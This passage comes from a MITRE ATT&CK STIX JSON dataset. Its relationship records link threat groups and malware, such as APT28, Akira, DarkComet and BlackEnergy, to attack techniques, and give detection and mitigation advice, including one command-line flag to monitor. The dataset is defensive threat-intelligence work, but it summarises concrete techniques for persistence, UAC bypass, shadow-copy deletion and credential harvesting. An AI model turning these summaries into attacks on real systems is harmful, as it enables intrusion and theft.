"target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adfeb8d8-1ce1-4abe-9861-21e2b26e8caa", "type": "relationship", "created": "2020-02-04T12:58:40.996Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-04T12:58:40.996Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--adfee22f-8471-4e82-b85c-21dcbb93ddde", "created": "2023-12-04T20:49:19.315Z", "revoked": false, "external_references": [{"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-04T20:49:19.315Z", "description": "(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--adffe817-2460-49c7-be30-44afea58d7f8", "type": "relationship", "created": "2020-03-24T21:16:16.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-31T13:08:37.145Z", "description": "Do not allow administrator accounts that have permissions to modify the Web content of organization login portals to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae04e50b-74cc-472f-9bab-ffd2a60aa822", "type": "relationship", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.845Z", "description": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", "source_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}]}, {"type": "relationship", "id": "relationship--ae05ae0a-7806-491a-8350-33600df44d2a", "created": "2022-01-09T22:20:52.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.684Z", "description": "[Zox](https://attack.mitre.org/software/S0672) has the ability to list processes.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae0b30fc-4a2d-47d4-8d69-d96d68dfe20f", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor executed commands and arguments that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae0b54d4-8aac-400a-ab6a-9656144c77cc", "type": "relationship", "created": "2020-11-09T14:52:45.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2021-04-22T13:46:15.393Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae0b56df-e692-4210-85e4-8ded095cdbc3", "type": "relationship", "created": "2019-10-04T18:43:57.650Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Pawn Storm OAuth 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."}], "modified": "2020-03-20T16:37:06.239Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.(Citation: Trend Micro Pawn Storm OAuth 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae11039c-6711-4860-a1b6-c7a8e0bcbbfb", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "source_name": "PTSecurity Cobalt Dec 2016"}], "modified": "2019-07-26T23:38:34.282Z", "description": "(Citation: PTSecurity Cobalt Dec 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ae12b657-a640-40c6-99b7-931ed10705de", "created": "2019-09-23T23:08:25.336Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}, {"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. 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En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}, {"source_name": "F-Secure Sofacy 2015", "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/"}, {"source_name": "Talos Seduploader Oct 2017", "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T01:50:09.159Z", "description": "Many strings in [JHUHUGIT](https://attack.mitre.org/software/S0044) are obfuscated with a XOR algorithm.(Citation: F-Secure Sofacy 2015)(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)", "relationship_type": "uses", "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae260a19-f992-4f2e-a0c8-beeef389bb70", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ae28ef39-1e4f-41e5-9ffa-877030753852", "created": "2021-12-08T19:20:55.378Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. 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(2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}], "modified": "2020-03-20T02:21:44.570Z", "description": "[httpclient](https://attack.mitre.org/software/S0068) opens cmd.exe on the victim.(Citation: CrowdStrike Putter Panda)", "relationship_type": "uses", "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ae3897f5-099d-46b0-b645-81a9a45445fa", "created": "2022-07-18T15:57:17.959Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Korean FSI TA505 2020", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) can collect mouse events.(Citation: Korean FSI TA505 2020)", "modified": "2022-07-18T15:57:17.959Z", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae38c68d-cc08-4460-9d98-ddf957f837e2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"}], "modified": "2020-11-23T17:03:38.775Z", "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to register itself as a scheduled task.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ae3a87db-018b-441d-bc5c-4f7e30ce5551", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Know Your Enemy FIN8 Aug 2016", "description": "Elovitz, S. & Ahl, I. (2016, August 18). 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Retrieved June 9, 2021."}], "modified": "2021-10-18T13:42:10.763Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) has leveraged a vulnerability in Windows containers to perform an [Escape to Host](https://attack.mitre.org/techniques/T1611).(Citation: Unit 42 Siloscape Jun 2021)", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449", "created": "2017-05-31T21:33:27.067Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Loaders", "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", "description": "Novetta Threat Research Group. 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Retrieved December 4, 2020."}], "modified": "2020-12-07T20:14:50.742Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) can persist via DLL search order hijacking on Google Chrome, Mozilla Firefox, or Microsoft OneDrive.(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae7727c7-6b4a-48fb-8ecb-b07cbe819cad", "type": "relationship", "created": "2021-09-29T22:24:15.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. 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Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.698Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used web shells for persistence or to ensure redundant access.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae788f2a-e2d8-4615-8714-f1263c987b23", "type": "relationship", "created": "2021-11-17T16:29:23.625Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}, {"source_name": "Talent-Jump Clambling February 2020", "url": "https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "description": "Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}], "modified": "2021-11-23T15:26:58.669Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) can deobfuscate its payload prior to execution.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ae78b837-1698-44a4-a81a-8eece005ea9f", "created": "2022-02-01T15:08:45.228Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "AADInternals Documentation", "url": "https://o365blog.com/aadinternals", "description": "Dr. Nestori Syynimaa. (2018, October 25). AADInternals. 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Retrieved May 5, 2021."}], "modified": "2021-06-24T20:07:08.421Z", "description": "[SideTwist](https://attack.mitre.org/software/S0610) has exfiltrated data over its C2 channel.(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ae8375ef-1dd7-4b03-9fc9-ade303030cae", "type": "relationship", "created": "2021-07-02T14:47:15.372Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. 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Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.203Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aeb0762f-0d0e-43b8-be6f-413f60097e02", "type": "relationship", "created": "2019-01-29T19:18:28.824Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET", "source_name": "TrendMicro DarkComet Sept 2014"}, {"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2019-06-04T19:40:43.608Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) adds several Registry entries to enable automatic execution at every system startup.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aeb4ffa0-24f7-4812-aa4d-553ac5e954de", "created": "2022-07-29T19:50:00.174Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro njRAT 2018", "description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T23:26:56.174Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) is capable of manipulating and deleting registry keys, including those used for persistence.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aeb5cdda-6344-4048-9b41-a0e0e75ef099", "created": "2024-04-08T17:19:17.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kersten Akira 2023", "description": "Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.", "url": "https://www.trellix.com/blogs/research/akira-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-08T17:46:36.304Z", "description": "[Akira](https://attack.mitre.org/software/S1129) will delete system volume shadow copies via PowerShell commands.(Citation: Kersten Akira 2023)", "relationship_type": "uses", "source_ref": "malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aec0a948-428f-4327-b466-a0472da12928", "type": "relationship", "created": "2017-05-31T21:33:27.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-union", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "source_name": "SecureWorks BRONZE UNION June 2017"}], "modified": "2019-07-14T21:15:55.273Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.(Citation: SecureWorks BRONZE UNION June 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}, {"source_name": "Securelist BlackEnergy Nov 2014", "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}], "modified": "2020-06-02T16:14:00.488Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aec81750-6baf-49f4-8607-d4c1811f0baa", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--aec82e75-52d3-4139-aded-73cd1fe5e39b", "created": "2022-04-28T15:23:36.396Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor command-line usage for <code>-AllowReversiblePasswordEncryption $true</code> or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). ", "modified": "2022-04-28T15:23:36.396Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": 